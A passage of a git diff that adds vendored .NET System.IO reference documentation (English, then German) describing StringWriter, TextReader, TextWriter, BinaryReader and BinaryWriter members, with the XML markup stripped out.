of characters is larger than . + The string reader has been disposed. + The reader is currently in use by a previous read operation. + + + Implements a for writing information to a string. The information is stored in an underlying . + 2 + + + Initializes a new instance of the class. + + + Initializes a new instance of the class with the specified format control. + An object that controls formatting. + + + Initializes a new instance of the class that writes to the specified . + The StringBuilder to write to. + + is null. + + + Initializes a new instance of the class that writes to the specified and has the specified format provider. + The StringBuilder to write to. + An object that controls formatting. + + is null. + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Gets the in which the output is written. + The Encoding in which the output is written. + 1 + + + Asynchronously clears all buffers for the current writer and causes any buffered data to be written to the underlying device. + A task that represents the asynchronous flush operation. + + + Returns the underlying . + The underlying StringBuilder. + 2 + + + Returns a string containing the characters written to the current StringWriter so far. + The string containing the characters written to the current StringWriter. + 2 + + + Writes a character to the string. + The character to write. + The writer is closed. + 2 + + + Writes a subarray of characters to the string. + The character array to write data from. + The position in the buffer at which to start reading data. + The maximum number of characters to write. + + is null. + + or is negative. + ( + )> . Length. + The writer is closed. + 2 + + + Writes a string to the current string. + The string to write. + The writer is closed. + 2 + + + Writes a character to the string asynchronously. + A task that represents the asynchronous write operation. + The character to write to the string. + The string writer is disposed. + The string writer is currently in use by a previous write operation. + + + Writes a subarray of characters to the string asynchronously. + A task that represents the asynchronous write operation. + The character array to write data from. + The position in the buffer at which to start reading data. + The maximum number of characters to write. + + is null. + The plus is greater than the buffer length. + + or is negative. + The string writer is disposed. + The string writer is currently in use by a previous write operation. + + + Writes a string to the current string asynchronously. + A task that represents the asynchronous write operation. + The string to write. If is null, nothing is written to the text stream. + The string writer is disposed. + The string writer is currently in use by a previous write operation. + + + Writes a character followed by a line terminator asynchronously to the string. + A task that represents the asynchronous write operation. + The character to write to the string. + The string writer is disposed. + The string writer is currently in use by a previous write operation. + + + Writes a subarray of characters followed by a line terminator asynchronously to the string. + A task that represents the asynchronous write operation. + The character array to write data from. + The position in the buffer at which to start reading data. + The maximum number of characters to write. + + is null. + The plus is greater than the buffer length. + + or is negative. + The string writer is disposed. + The string writer is currently in use by a previous write operation. + + + Writes a string followed by a line terminator asynchronously to the current string. + A task that represents the asynchronous write operation. + The string to write. If the value is null, only a line terminator is written. + The string writer is disposed. + The string writer is currently in use by a previous write operation. + + + Represents a reader that can read a sequential series of characters. + 2 + + + Initializes a new instance of the class. + + + Releases all resources used by the object. + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Provides a TextReader with no data to read from. + 1 + + + Reads the next character without changing the state of the reader or the character source. Returns the next available character without actually reading it from the reader. + An integer representing the next character to be read, or -1 if no more characters are available or the reader does not support seeking. + The is closed. + An I/O error occurs. + 1 + + + Reads the next character from the text reader and advances the character position by one character. + The next character from the text reader, or -1 if no more characters are available. The default implementation returns -1. + The is closed. + An I/O error occurs. + 1 + + + Reads a specified maximum number of characters from the current reader and writes the data to a buffer, beginning at the specified index. + The number of characters that have been read. The number will be less than or equal to , depending on whether the data is available within the reader. This method returns 0 (zero) if it is called when no more characters are left to read. + When this method returns, contains the specified character array with the values between and ( + - 1) replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. If the end of the reader is reached before the specified number of characters is read into the buffer, the method returns. + + is null. + The buffer length minus is less than . + + or is negative. + The is closed. + An I/O error occurs. + 1 + + + Reads a specified maximum number of characters from the current text reader asynchronously and writes the data to a buffer, beginning at the specified index. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the text has been reached. + When this method returns, contains the specified character array with the values between and ( + - 1) replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. If the end of the text is reached before the specified number of characters is read into the buffer, the current method returns. + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The text reader has been disposed. + The reader is currently in use by a previous read operation. + + + Reads a specified maximum number of characters from the current text reader and writes the data to a buffer, beginning at the specified index. + The number of characters that have been read. The number will be less than or equal to , depending on whether all input characters have been read. + When this method returns, this parameter contains the specified character array with the values between and ( + -1) replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. + + is null. + The buffer length minus is less than . + + or is negative. + The is closed. + An I/O error occurs. + 2 + + + Reads a specified maximum number of characters from the current text reader asynchronously and writes the data to a buffer, beginning at the specified index. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the text has been reached. + When this method returns, contains the specified character array with the values between and ( + - 1) replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. If the end of the text is reached before the specified number of characters is read into the buffer, the current method returns. + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The text reader has been disposed. + The reader is currently in use by a previous read operation. + + + Reads a line of characters from the text reader and returns the data as a string. + The next line from the reader, or null if all characters have been read. + An I/O error occurs. + There is insufficient memory to allocate a buffer for the returned string. + The is closed. + The number of characters in the next line is larger than + 1 + + + Reads a line of characters asynchronously and returns the data as a string. + A task that represents the asynchronous read operation. The value of the parameter contains the next line from the text reader, or is null if all of the characters have been read. + The number of characters in the next line is larger than . + The text reader has been disposed. + The reader is currently in use by a previous read operation. + + + Reads all characters from the current position to the end of the text reader and returns them as one string. + A string that contains all characters from the current position to the end of the text reader. + An I/O error occurs. + The is closed. + There is insufficient memory to allocate a buffer for the returned string. + The number of characters in the next line is larger than + 1 + + + Reads all characters from the current position to the end of the text reader asynchronously and returns them as one string. + A task that represents the asynchronous read operation. The value of the parameter contains a string with the characters from the current position to the end of the text reader. + The number of characters is larger than . + The text reader has been disposed. + The reader is currently in use by a previous read operation. + + + Represents a writer that can write a sequential series of characters. This class is abstract. + 2 + + + Initializes a new instance of the class. + + + Initializes a new instance of the class with the specified format provider. + An object that controls formatting. + + + Stores the newline characters used for this TextWriter. + + + Releases all resources used by the object. + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + When overridden in a derived class, returns the character encoding in which the output is written. + The character encoding in which the output is written. + 1 + + + Clears all buffers for the current writer and causes any buffered data to be written to the underlying device. + 1 + + + Asynchronously clears all buffers for the current writer and causes any buffered data to be written to the underlying device. + A task that represents the asynchronous flush operation. + The text writer is disposed. + The writer is currently in use by a previous write operation. + + + Gets an object that controls formatting. + An object for a specific culture, or the formatting of the current culture if no other culture is specified. + 2 + + + Gets or sets the line terminator string used by the current TextWriter. + The line terminator string for the current TextWriter. + 2 + + + Provides a TextWriter with no backing store that can be written to, but not read from. + 1 + + + Writes the text representation of a Boolean value to the text string or stream. + The Boolean value to write. + The is closed. + An I/O error occurs. + 1 + + + Writes a character to the text string or stream. + The character to write to the text stream. + The is closed. + An I/O error occurs. + 1 + + + Writes a character array to the text string or stream. + The character array to write to the text stream. + The is closed. + An I/O error occurs. + 1 + + + Writes a subarray of characters to the text string or stream. + The character array to write data from. + The character position in the buffer at which to start retrieving data. + The number of characters to write. + The buffer length minus is less than . + The parameter is null. + + or is negative. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of a decimal value to the text string or stream. + The decimal value to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of an 8-byte floating-point value to the text string or stream. + The 8-byte floating-point value to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of a 4-byte signed integer to the text string or stream. + The 4-byte signed integer to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of an 8-byte signed integer to the text string or stream. + The 8-byte signed integer to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of an object to the text string or stream by calling the ToString method on that object. + The object to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of a 4-byte floating-point value to the text string or stream. + The 4-byte floating-point value to write. + The is closed. + An I/O error occurs. + 1 + + + Writes a string to the text string or stream. + The string to write. + The is closed. + An I/O error occurs. + 1 + + + Writes a formatted string to the text string or stream, using the same semantics as the method. + A composite format string (see Remarks). + The object to format and write. + + is null. + The is closed. + An I/O error occurs. + + is not a valid composite format string.-or- The index of a format item is less than 0 (zero), or greater than or equal to the number of objects to be formatted (which, for this method overload, is one). + 1 + + + Writes a formatted string to the text string or stream, using the same semantics as the method. + A composite format string (see Remarks). + The first object to format and write. + The second object to format and write. + + is null. + The is closed. + An I/O error occurs. + + is not a valid composite format string.-or- The index of a format item is less than 0 (zero) or greater than or equal to the number of objects to be formatted (which, for this method overload, is two). + 1 + + + Writes a formatted string to the text string or stream, using the same semantics as the method. + A composite format string (see Remarks). + The first object to format and write. + The second object to format and write. + The third object to format and write. + + is null. + The is closed. + An I/O error occurs. + + is not a valid composite format string.-or- The index of a format item is less than 0 (zero), or greater than or equal to the number of objects to be formatted (which, for this method overload, is three). + 1 + + + Writes a formatted string to the text string or stream, using the same semantics as the method. + A composite format string (see Remarks). + An object array that contains zero or more objects to format and write. + + or is null. + The is closed. + An I/O error occurs. + + is not a valid composite format string.-or- The index of a format item is less than 0 (zero), or greater than or equal to the length of the array. + 1 + + + Writes the text representation of a 4-byte unsigned integer to the text string or stream. + The 4-byte unsigned integer to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of an 8-byte unsigned integer to the text string or stream. + The 8-byte unsigned integer to write. + The is closed. + An I/O error occurs. + 1 + + + Writes a character to the text string or stream asynchronously. + A task that represents the asynchronous write operation. + The character to write to the text stream. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + Writes a character array to the text string or stream asynchronously. + A task that represents the asynchronous write operation. + The character array to write to the text stream. If is null, nothing is written. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + Writes a subarray of characters to the text string or stream asynchronously. + A task that represents the asynchronous write operation. + The character array to write data from. + The character position in the buffer at which to start retrieving data. + The number of characters to write. + + is null. + The plus is greater than the buffer length. + + or is negative. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + Writes a string to the text string or stream asynchronously. + A task that represents the asynchronous write operation. + The string to write. If is null, nothing is written to the text stream. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + Writes a line terminator to the text string or stream. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of a Boolean value followed by a line terminator to the text string or stream. + The Boolean value to write. + The is closed. + An I/O error occurs. + 1 + + + Writes a character followed by a line terminator to the text string or stream. + The character to write to the text stream. + The is closed. + An I/O error occurs. + 1 + + + Writes an array of characters followed by a line terminator to the text string or stream. + The character array from which data is read. + The is closed. + An I/O error occurs. + 1 + + + Writes a subarray of characters followed by a line terminator to the text string or stream. + The character array from which data is read. + The character position in at which to start reading data. + The maximum number of characters to write. + The buffer length minus is less than . + The parameter is null. + + or is negative. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of a decimal value followed by a line terminator to the text string or stream. + The decimal value to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of a 8-byte floating-point value followed by a line terminator to the text string or stream. + The 8-byte floating-point value to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of a 4-byte signed integer followed by a line terminator to the text string or stream. + The 4-byte signed integer to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of an 8-byte signed integer followed by a line terminator to the text string or stream. + The 8-byte signed integer to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of an object by calling the ToString method on that object, followed by a line terminator to the text string or stream. + The object to write. If is null, only the line terminator is written. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of a 4-byte floating-point value followed by a line terminator to the text string or stream. + The 4-byte floating-point value to write. + The is closed. + An I/O error occurs. + 1 + + + Writes a string followed by a line terminator to the text string or stream. + The string to write. If is null, only the line terminator is written. + The is closed. + An I/O error occurs. + 1 + + + Writes a formatted string and a new line to the text string or stream, using the same semantics as the method. + A composite format string (see Remarks). + The object to format and write. + + is null. + The is closed. + An I/O error occurs. + + is not a valid composite format string.-or- The index of a format item is less than 0 (zero), or greater than or equal to the number of objects to be formatted (which, for this method overload, is one). + 1 + + + Writes a formatted string and a new line to the text string or stream, using the same semantics as the method. + A composite format string (see Remarks). + The first object to format and write. + The second object to format and write. + + is null. + The is closed. + An I/O error occurs. + + is not a valid composite format string.-or- The index of a format item is less than 0 (zero), or greater than or equal to the number of objects to be formatted (which, for this method overload, is two). + 1 + + + Writes out a formatted string and a new line, using the same semantics as . + A composite format string (see Remarks). + The first object to format and write. + The second object to format and write. + The third object to format and write. + + is null. + The is closed. + An I/O error occurs. + + is not a valid composite format string.-or- The index of a format item is less than 0 (zero), or greater than or equal to the number of objects to be formatted (which, for this method overload, is three). + 1 + + + Writes out a formatted string and a new line, using the same semantics as . + A composite format string (see Remarks). + An object array that contains zero or more objects to format and write. + A string or object is passed in as null. + The is closed. + An I/O error occurs. + + is not a valid composite format string.-or- The index of a format item is less than 0 (zero), or greater than or equal to the length of the array. + 1 + + + Writes the text representation of a 4-byte unsigned integer followed by a line terminator to the text string or stream. + The 4-byte unsigned integer to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of an 8-byte unsigned integer followed by a line terminator to the text string or stream. + The 8-byte unsigned integer to write. + The is closed. + An I/O error occurs. + 1 + + + Writes a line terminator asynchronously to the text string or stream. + A task that represents the asynchronous write operation. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + Writes a character followed by a line terminator asynchronously to the text string or stream. + A task that represents the asynchronous write operation. + The character to write to the text stream. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + Writes an array of characters followed by a line terminator asynchronously to the text string or stream. + A task that represents the asynchronous write operation. + The character array to write to the text stream. If the character array is null, only the line terminator is written. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + Writes a subarray of characters followed by a line terminator asynchronously to the text string or stream. + A task that represents the asynchronous write operation. + The character array to write data from. + The character position in the buffer at which to start retrieving data. + The number of characters to write. + + is null. + The plus is greater than the buffer length. + + or is negative. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + Writes a string followed by a line terminator asynchronously to the text string or stream. + A task that represents the asynchronous write operation. + The string to write. If the value is null, only a line terminator is written. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netstandard1.5/de/System.IO.xml b/packages/System.IO.4.3.0/ref/netstandard1.5/de/System.IO.xml new file mode 100644 index 0000000..ee778b2 --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netstandard1.5/de/System.IO.xml @@ -0,0 +1,2151 @@ + + + + System.IO + + + + Liest primitive Datentypen als Binärwerte in einer spezifischen Codierung. + 2 + + + Initialisiert eine neue Instanz der auf dem bereitgestellten Stream basierenden -Klasse mit einer spezifischen Stream- und Zeichencodierung unter Verwendung von UTF-8. + Der Eingabestream. + Der Stream unterstützt keine Lesevorgänge, ist null oder er wurde bereits geschlossen. + + + Initialisiert eine neue Instanz der auf dem bereitgestellten Stream basierenden -Klasse mit einer spezifischen Stream- und Zeichencodierung. + Der Eingabestream. + Die zu verwendende Zeichencodierung. + Der Stream unterstützt keine Lesevorgänge, ist null oder er wurde bereits geschlossen. + + ist null. + + + Initialisiert eine neue Instanz der -Klasse auf Grundlage des angegebenen Streams und der Zeichencodierung und lässt den Stream optional geöffnet. + Der Eingabestream. + Die zu verwendende Zeichencodierung. + true, um den Datenstrom geöffnet zu lassen, nach dem das -Objekt freigegeben wurde; andernfalls false. + Der Stream unterstützt keine Lesevorgänge, ist null oder er wurde bereits geschlossen. + + oder ist null. + + + Gewährt Zugriff auf den zugrunde liegenden Stream von . + Der BinaryReader zugeordnete, zugrunde liegende Stream. + 2 + + + Gibt alle von der aktuellen Instanz der -Klasse verwendeten Ressourcen frei. + + + Gibt die von der -Klasse verwendeten nicht verwalteten Ressourcen frei und gibt (optional) auch die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Füllt den internen Puffer mit der angegebenen Anzahl von Bytes, die aus dem Stream gelesen wurden. + Die Anzahl der zu lesenden Bytes. + Das Ende des Streams ist erreicht, bevor gelesen werden konnte. + E/A-Fehler. + Die angeforderten überschreiten die interne Puffergröße. + + + Gibt das nächste verfügbare Zeichen zurück, ohne die Byte- oder Zeichenposition zu erhöhen. + Das nächste verfügbare Zeichen oder -1, wenn keine weiteren Zeichen verfügbar sind oder der Stream keine Suchvorgänge unterstützt. + E/A-Fehler. + Das aktuelle Zeichen kann nicht mit dem für den Stream ausgewählten in den internen Zeichenpuffer decodiert werden. + 2 + + + Liest Zeichen aus dem zugrunde liegenden Stream und erhöht die aktuelle Position im Stream in Abhängigkeit von der verwendeten Encoding und dem aus dem Stream gelesenen Zeichen. + Das nächste Zeichen aus dem Eingabestream bzw. -1, wenn derzeit keine Zeichen verfügbar sind. + E/A-Fehler. + Der Stream ist geschlossen. + 2 + + + Liest die angegebene Anzahl von Bytes beginnend bei einem angegebenen Punkt im Bytearray aus dem Stream. + Die Anzahl von Bytes, die in gelesen wurden.Diese kann kleiner sein als die Anzahl der angeforderten Bytes, wenn gegenwärtig keine entsprechende Anzahl von Bytes verfügbar ist, oder null, wenn das Ende des Streams erreicht ist. + Der Puffer, in den Daten gelesen werden sollen. + Der Anfangspunkt für das Lesen in den Puffer. + Die Anzahl der zu lesenden Bytes. + Die Länge des Puffers minus ist kleiner als . - oder - Die Anzahl der zu lesenden decodierten Zeichen ist größer als .Dies kann geschehen, wenn ein Unicode-Decoder Fallbackzeichen oder ein Ersatzzeichenpaar zurückgibt. + + ist null. + + oder ist negativ. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest die angegebene Anzahl von Zeichen beginnend bei einem angegebenen Punkt im Zeichenarray aus dem Stream. + Die Gesamtanzahl der in den Puffer gelesenen Zeichen.Diese kann kleiner sein als die Anzahl der angeforderten Zeichen, wenn gegenwärtig keine entsprechende Anzahl von Bytes verfügbar ist, oder null, wenn das Ende des Streams erreicht ist. + Der Puffer, in den Daten gelesen werden sollen. + Der Anfangspunkt für das Lesen in den Puffer. + Die Anzahl der zu lesenden Zeichen. + Die Länge des Puffers minus ist kleiner als . - oder - Die Anzahl der zu lesenden decodierten Zeichen ist größer als .Dies kann geschehen, wenn ein Unicode-Decoder Fallbackzeichen oder ein Ersatzzeichenpaar zurückgibt. + + ist null. + + oder ist negativ. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest eine 32-Bit-Ganzzahl in komprimiertem Format. + Eine 32-Bit-Ganzzahl in komprimiertem Format. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + Der Datenstrom ist beschädigt. + + + Liest einen Boolean-Wert aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 1 Byte. + true, wenn das Byte ungleich 0 (null) ist, andernfalls false. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest das nächste Byte aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 1 Byte. + Das nächste aus dem aktuellen Stream gelesene Byte. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest die angegebene Anzahl von Bytes aus dem aktuellen Stream in ein Bytearray und erhöht die aktuelle Position um diese Anzahl von Bytes. + Ein Bytearray mit Daten aus dem zugrunde liegenden Stream.Dies kann kleiner sein als die Anzahl der angeforderten Bytes, wenn das Ende des Streams erreicht ist. + Die Anzahl der zu lesenden Bytes.Dieser Wert muss 0 oder eine nicht negative Zahl sein; andernfalls tritt eine Ausnahme auf. + Die Anzahl der zu lesenden decodierten Zeichen ist größer als .Dies kann geschehen, wenn ein Unicode-Decoder Fallbackzeichen oder ein Ersatzzeichenpaar zurückgibt. + E/A-Fehler. + Der Stream ist geschlossen. + + ist negativ. + 2 + + + Liest das nächste Zeichen aus dem aktuellen Stream und erhöht die aktuelle Position im Stream in Abhängigkeit von der verwendeten Encoding und dem aus dem Stream gelesenen Zeichen. + Ein aus dem aktuellen Stream gelesenes Zeichen. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + Ein Ersatzzeichenzeichen wurde gelesen. + 2 + + + Liest die angegebene Anzahl von Zeichen aus dem aktuellen Stream, gibt die Daten in einem Zeichenarray zurück und erhöht die aktuelle Position in Abhängigkeit von der verwendeten Encoding und dem aus dem Stream gelesenen Zeichen. + Ein Zeichenarray mit Daten aus dem zugrunde liegenden Stream.Dies kann kleiner sein als die Anzahl der angeforderten Zeichen, wenn das Ende des Streams erreicht ist. + Die Anzahl der zu lesenden Zeichen. + Die Anzahl der zu lesenden decodierten Zeichen ist größer als .Dies kann geschehen, wenn ein Unicode-Decoder Fallbackzeichen oder ein Ersatzzeichenpaar zurückgibt. + Der Stream ist geschlossen. + E/A-Fehler. + + ist negativ. + 2 + + + Liest einen Dezimalwert aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 16 Bytes. + Ein aus dem aktuellen Stream gelesener Dezimalwert. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest einen 8-Byte-Gleitkommawert aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 8 Bytes. + Ein aus dem aktuellen Stream gelesener 8-Byte-Gleitkommawert. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest eine 2-Byte-Ganzzahl mit Vorzeichen aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 2 Bytes. + Eine aus dem aktuellen Stream gelesene 2-Byte-Ganzzahl mit Vorzeichen. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest eine 4-Byte-Ganzzahl mit Vorzeichen aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 4 Bytes. + Eine aus dem aktuellen Stream gelesene 4-Byte-Ganzzahl mit Vorzeichen. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest eine 8-Byte-Ganzzahl mit Vorzeichen aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 8 Bytes. + Eine aus dem aktuellen Stream gelesene 8-Byte-Ganzzahl mit Vorzeichen. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest ein Byte mit Vorzeichen aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um ein Byte. + Ein aus dem aktuellen Stream gelesenes Byte mit Vorzeichen. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest einen 4-Byte-Gleitkommawert aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 4 Bytes. + Ein aus dem aktuellen Stream gelesener 4-Byte-Gleitkommawert. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest eine Zeichenfolge aus dem aktuellen Stream.Die Zeichenfolge weist ein Präfix mit der Länge auf, die als Ganzzahl mit jeweils 7 Bits codiert ist. + Die gelesene Zeichenfolge. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest eine 2-Byte-Ganzzahl ohne Vorzeichen mithilfe einer Little-Endian-Codierung aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 2 Bytes. + Eine aus diesem Stream gelesene 2-Byte-Ganzzahl ohne Vorzeichen. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest eine 4-Byte-Ganzzahl ohne Vorzeichen aus dem aktuellen Stream und erhöht die Position des Streams um 4 Bytes. + Eine aus diesem Stream gelesene 4-Byte-Ganzzahl ohne Vorzeichen. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest eine 8-Byte-Ganzzahl ohne Vorzeichen aus dem aktuellen Stream und erhöht die Position des Streams um 8 Bytes. + Eine aus diesem Stream gelesene 8-Byte-Ganzzahl ohne Vorzeichen. + Das Ende des Streams ist erreicht. + E/A-Fehler. + Der Stream ist geschlossen. + 2 + + + Schreibt primitive Typen binär in einen Stream und unterstützt das Schreiben von Zeichenfolgen in einer bestimmten Codierung. + 2 + + + Initialisiert eine neue Instanz der -Klasse zum Schreiben in einen Stream. + + + Initialisiert eine neue Instanz der auf dem spezifizierten Stream basierenden -Klasse unter Verwendung von UTF-8-Verschlüsselung. + Der Ausgabestream. + Der Stream unterstützt keine Schreibvorgänge, oder er wurde bereits geschlossen. + + ist null. + + + Initialisiert eine neue Instanz der auf den bereitgestellten Stream basierenden -Klasse mit einer spezifischen Stream- und Zeichencodierung. + Der Ausgabestream. + Die zu verwendende Zeichencodierung. + Der Stream unterstützt keine Schreibvorgänge, oder er wurde bereits geschlossen. + + oder ist null. + + + Initialisiert eine neue Instanz der -Klasse auf Grundlage des angegebenen Streams und der Zeichencodierung und lässt den Stream optional geöffnet. + Der Ausgabestream. + Die zu verwendende Zeichencodierung. + true, um den Datenstrom geöffnet zu lassen, nach dem das -Objekt freigegeben wurde; andernfalls false. + Der Stream unterstützt keine Schreibvorgänge, oder er wurde bereits geschlossen. + + oder ist null. + + + Ruft den zugrunde liegenden Stream von ab. + Der BinaryWriter zugeordnete, zugrunde liegende Stream. + 1 + + + Gibt alle von der aktuellen Instanz der -Klasse verwendeten Ressourcen frei. + + + Gibt die von verwendeten nicht verwalteten Ressourcen und optional auch die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Löscht sämtliche Puffer für den aktuellen Writer und veranlasst die Ausgabe aller gepufferten Daten an das zugrunde liegende Gerät. + 1 + + + Gibt eine -Klasse ohne Sicherungsspeicher an. + 1 + + + Enthält den zugrunde liegenden Stream. + + + Legt die Position im aktuellen Stream fest. + Die Position im aktuellen Stream. + Ein Byteoffset im Verhältnis zu . + Ein Feld von , das den Bezugspunkt angibt, von dem aus die neue Position ermittelt werden soll. + Der Dateizeiger wurde an eine ungültige Position verschoben. + Der -Wert ist ungültig. + 1 + + + Schreibt einen 1-Byte-Boolean-Wert in den aktuellen Stream, wobei 0 (null) false und 1 true darstellt. + Der zu schreibende Boolean-Wert (0 (null) oder 1). + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt ein Byte ohne Vorzeichen in den aktuellen Stream und erhöht die aktuelle Position im Stream um ein Byte. + Das zu schreibende Byte ohne Vorzeichen. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt ein Bytearray in den zugrunde liegenden Stream. + Ein Bytearray, das die zu schreibenden Daten enthält. + E/A-Fehler. + Der Stream ist geschlossen. + + ist null. + 1 + + + Schreibt einen Bereich eines Bytearrays in den aktuellen Stream. + Ein Bytearray, das die zu schreibenden Daten enthält. + Der Anfangspunkt im , an dem mit dem Schreiben begonnen wird. + Die Anzahl der zu schreibenden Bytes. + Die Länge des Puffers minus ist kleiner als . + + ist null. + + oder ist negativ. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt ein Unicode-Zeichen in den aktuellen Stream und erhöht die aktuelle Position im Stream in Abhängigkeit von der verwendeten Encoding und der in den Stream geschriebenen Zeichen. + Das zu schreibende Unicode-Zeichen (nicht-Ersatzzeichen). + E/A-Fehler. + Der Stream ist geschlossen. + + ist ein einzelnes Ersatzzeichen. + 1 + + + Schreibt ein Zeichenarray in den aktuellen Stream und erhöht die aktuelle Position im Stream in Abhängigkeit von der verwendeten Encoding und der in den Stream geschriebenen Zeichen. + Ein Zeichenarray mit den zu schreibenden Daten. + + ist null. + Der Stream ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt einen Bereich eines Zeichenarrays in den aktuellen Stream und erhöht die aktuelle Position im Stream in Abhängigkeit von der verwendeten Encoding und ggf. der in den Stream geschriebenen Zeichen. + Ein Zeichenarray mit den zu schreibenden Daten. + Der Anfangspunkt im , an dem mit dem Schreiben begonnen wird. + Die Anzahl der zu schreibenden Zeichen. + Die Länge des Puffers minus ist kleiner als . + + ist null. + + oder ist negativ. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt einen Dezimalwert in den aktuellen Stream und erhöht die Position im Stream um 16 Bytes. + Der zu schreibende Dezimalwert. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt einen 8-Byte-Gleitkommawert in den aktuellen Stream und erhöht die Position im Stream um 8 Bytes. + Der zu schreibende 8-Byte-Gleitkommawert. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt eine 2-Byte-Ganzzahl mit Vorzeichen in den aktuellen Stream und erhöht die Position im Stream um 2 Bytes. + Die zu schreibende 2-Byte-Ganzzahl mit Vorzeichen. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt eine 4-Byte-Ganzzahl mit Vorzeichen in den aktuellen Stream und erhöht die Position im Stream um 4 Bytes. + Die zu schreibende 4-Byte-Ganzzahl mit Vorzeichen. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt eine 8-Byte-Ganzzahl mit Vorzeichen in den aktuellen Stream und erhöht die Position im Stream um 8 Bytes. + Die zu schreibende 8-Byte-Ganzzahl mit Vorzeichen. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt ein Byte mit Vorzeichen in den aktuellen Stream und erhöht die aktuelle Position im Stream um ein Byte. + Das zu schreibende Byte mit Vorzeichen. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt einen 4-Byte-Gleitkommawert in den aktuellen Stream und erhöht die Position im Stream um 4 Bytes. + Der zu schreibende 4-Byte-Gleitkommawert. + E/A-Fehler. + Der 